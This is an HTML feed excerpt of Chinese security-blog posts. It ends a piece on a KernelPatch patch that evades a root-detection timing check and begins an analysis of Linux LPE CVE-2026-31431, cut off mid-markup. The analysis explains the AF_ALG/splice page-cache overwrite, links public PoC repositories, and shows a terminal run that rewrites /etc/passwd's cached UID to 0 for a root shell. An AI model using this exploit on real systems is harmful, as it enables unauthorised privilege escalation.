Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">has_preset_superkey()</span></code><span leaf="">，以及</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">predata.h</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">userd.h</span></code><span leaf="">里的接口补位，说明这次修补不是单点热修，而是在把启动预置状态、认证状态和UID信任判断拆开整理。提交说明里提到的“</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mark as umount</span></code><span leaf="">直接跳过所有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">supercall</span></code><span leaf="">”，从思路上看也是同一类动作：把本来可能暴露时间差的路径尽量前移或直接裁掉。</span></p><h2 data-line="184" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">过检测效果分析</span></h2><p data-line="186" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这个补丁的效果，可以直接从提交里的基准数据看出来。</span></p><p data-line="188" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">补丁前，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">128</span></code><span leaf="">字节key字符串的平均延迟是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">4.281</span></code><span leaf="">微秒，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">&#39;\0&#39;</span></code><span leaf="">key字符串是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0.460</span></code><span leaf="">微秒，差值大约</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">3.821</span></code><span leaf="">微秒，远高于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">3.0</span></code><span leaf="">微秒阈值。补丁后，两者分别变成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0.943</span></code><span leaf="">微秒和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0.607</span></code><span leaf="">微秒，差值缩小到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0.336</span></code><span leaf="">微秒，已经和普通未打补丁系统的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0.792</span></code><span leaf="">微秒对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0.446</span></code><span leaf="">微秒非常接近。</span></p><p data-line="190" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这说明补丁把时间差压回了正常系统“认为”的自然抖动范围。对于这类检测器来说，真正重要的不是绝对值，而是异常差值是否足够大到越过阈值。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelPatch</span></code><span leaf="">这次做对的事情，就是让这个差值不再像补丁前那样显著。</span></p><p data-line="192" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">但这不等于检测逻辑失效。它只是说明这条侧信道当前被压住了。只要未来检测器改用更高分辨率的计时方式，或者把多个信号叠加起来，仍然可能重新把差异拉出来。</span></p><h2 data-line="194" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">结论</span></h2><p data-line="196" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这次对抗的本质很清楚：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><span leaf="">在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelPatch</span></code><span leaf="">官方最新提交的过检测补丁的启发下，找到了一种通过侧信道稳定检测老版本</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">的方法。显然，这个检测只对当前设备是2026年五一之前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">框架的版本有效，升级到最新版本后可以无视这个检测。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://github.com/bmax121/KernelPatch/commit/84169d5d6be12e589ccac81d71dcebb80b22043a">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d4de901a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485145%26idx%3D1%26sn%3D13462901ea5113f701abe7c6333a3cdf">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 May 2026 10:32:00 +0800</pubDate>
    </item>
    <item>
      <title>最新通杀全线Linux发行版的CVE漏洞解析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485140&amp;idx=1&amp;sn=46a3b04ac859dd1c8adc3ac08459a719</link>
      <description>最新通杀全线Linux发行版的CVE漏洞解析</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-04-30 21:26</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1ace79ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeT8K2NUJ8popWF6VHFbGl7AL0ZB9Vk3U4EveNVbibPQzTUMXBh1O2x7u3yZbWCaibnq7E6jB8YhLPvotPIVuia5xMibc9r8PWCJiaYO4%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style="margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">最新通杀全线Linux发行版的CVE漏洞解析</span></h1><p data-line="2" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">昨天出了一个新洞：CVE-2026-31431，这个洞太猛了，号称不借助任何外部的工具，可以LPE揽权获取最高权限干翻现在多数的Linux发行版本。</span></p><p data-line="4" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">今天我试了下Ubuntu22.04与Ubuntu24.04，在打完了最新的补丁的情况下，稳定的本地揽权成功！太强了，看看是什么原理。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7018518518518518" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001489" src="https://wechat2rss.xlab.app/img-proxy/?k=0a4cb6f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeTibdPu6SYQjkfuictBIf0HWHMzP4wwsuw0vbcKHgvDDXiaiaZD8s8b8OlK5icyA8NqzwPfTKQiaIPMib2p1gXwLJVm0tcsoia4jQgj8icFU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-line="6" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">背景</span></h2><p data-line="8" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CVE-2026-31431 是一个典型的内核逻辑漏洞，影响范围涵盖了几乎所有主流 Linux 发行版。其核心问题在于 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">crypto/algif_aead.c</span></code><span leaf=""> 中的状态机处理不当：</span></p><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">AF_ALG 滥用</span></strong><p><span leaf="">：通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setsockopt</span></code><span leaf=""> 反复切换加密状态。</span></p></li><li><strong><span leaf="">Splice 零拷贝原语</span></strong><p><span leaf="">：利用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice</span></code><span leaf=""> 系统调用将 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/usr/bin/su</span></code><span leaf=""> 等敏感文件的 Page Cache 映射到加密流中。</span></p></li><li><strong><span leaf="">状态机竞争</span></strong><p><span leaf="">：通过特定的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sendmsg</span></code><span leaf=""> 辅助消息（Control Message）在内核处理加密请求时强行插入新的密钥操作，导致内核在执行 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">zero-copy</span></code><span leaf=""> 传输时将受控的 Payload 错误地覆盖到原始文件的缓存页中。</span></p></li></ol><p data-line="14" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">公开的POC代码是python脚本。仓库地址是：<a href="https://github.com/rootsecdev/cve_2026_31431" target="_blank">https://github.com/rootsecdev/cve_2026_31431</a></span></p><h2 data-line="16" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">原理分析</span></h2><p data-line="18" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个POC的核心功能是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AF_ALG</span></code><span leaf="">状态机劫持。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AF_ALG</span></code><span leaf=""> 允许用户态程序通过 Socket 接口调用内核加密算法。为了提升性能，内核实现了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice</span></code><span leaf=""> 接口，允许数据在两个文件描述符（如普通文件与加密 Socket）之间直接传输而无需拷贝。</span></p><p data-line="20" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">漏洞的精妙之处在于：</span><strong><span leaf="">当内核认为它正在将数据读入加密引擎时，我们通过篡改 Socket 的状态机，让内核误以为当前操作已结束并进入“解密写回”阶段</span></strong><span leaf="">。此时，原本应被读取的 Page Cache 会被内核以“解密结果”的形式覆写。</span></p><p data-line="22" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">比较有意思的是，我在自己的macOS上的虚拟机Ubuntu22.04的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">5.15</span></code><span leaf=""> 内核上测试失败了！</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="24" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">ubuntu@ubuntu:~/Downloads$ </span><span style="color: rgb(0, 122, 204);"><span leaf="">cd</span></span><span leaf=""> cve_2026_31431/</span><span leaf=""><br/></span><span leaf="">ubuntu@ubuntu:~/Downloads/cve_2026_31431$ python3 </span><span leaf=""><br/></span><span leaf="">a.out                      exploit_cve_2026_31431.py  README.md</span><span leaf=""><br/></span><span leaf="">exp.c                      .git/                      test_cve_2026_31431.py</span><span leaf=""><br/></span><span leaf="">ubuntu@ubuntu:~/Downloads/cve_2026_31431$ python3 exploit_cve_2026_31431.py </span><span leaf=""><br/></span><span leaf="">[*] CVE-2026-31431 LPE  user=ubuntu  uid=1000</span><span leaf=""><br/></span><span leaf="">[*] /etc/passwd: ubuntu UID field at offset 1335 = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;1000&#39;</span></span><span leaf=""><br/></span><span leaf="">[*] Patching </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;1000&#39;</span></span><span leaf=""> -&gt; </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;0000&#39;</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">in</span></span><span leaf=""> page cache...</span><span leaf=""><br/></span><span leaf="">[*] Page cache now reads b</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;0000&#39;</span></span><span leaf=""> at offset 1335</span><span leaf=""><br/></span><span leaf="">[*] getpwnam(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;ubuntu&#39;</span></span><span leaf="">).pw_uid = 0</span><span leaf=""><br/></span><span leaf="">[+] /etc/passwd page cache now lists ubuntu as UID 0.</span><span leaf=""><br/></span><span leaf="">[+] Run:   su ubuntu</span><span leaf=""><br/></span><span leaf="">[+] Enter your own password. su will setuid(0) and drop a root shell.</span><span leaf=""><br/></span><span leaf="">[i] Cleanup after testing (from the root shell):</span><span leaf=""><br/></span><span leaf="">[i]   </span><span style="color: rgb(0, 122, 204);"><span leaf="">echo</span></span><span leaf=""> 3 &gt; /proc/sys/vm/drop_caches</span><span leaf=""><br/></span><span leaf="">[i] /etc/passwd page cache evicted (POSIX_FADV_DONTNEED). UID-&gt;name lookups restored.</span><span leaf=""><br/></span><span leaf="">ubuntu@ubuntu:~/Downloads/cve_2026_31431$ </span></code></pre><p data-line="46" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个版本的Exploit执行后会失败！然后发现网上有一个高级版本的POC代码。仓库地址是：<a href="https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit" target="_blank">https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit</a></span></p><p data-line="48" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, 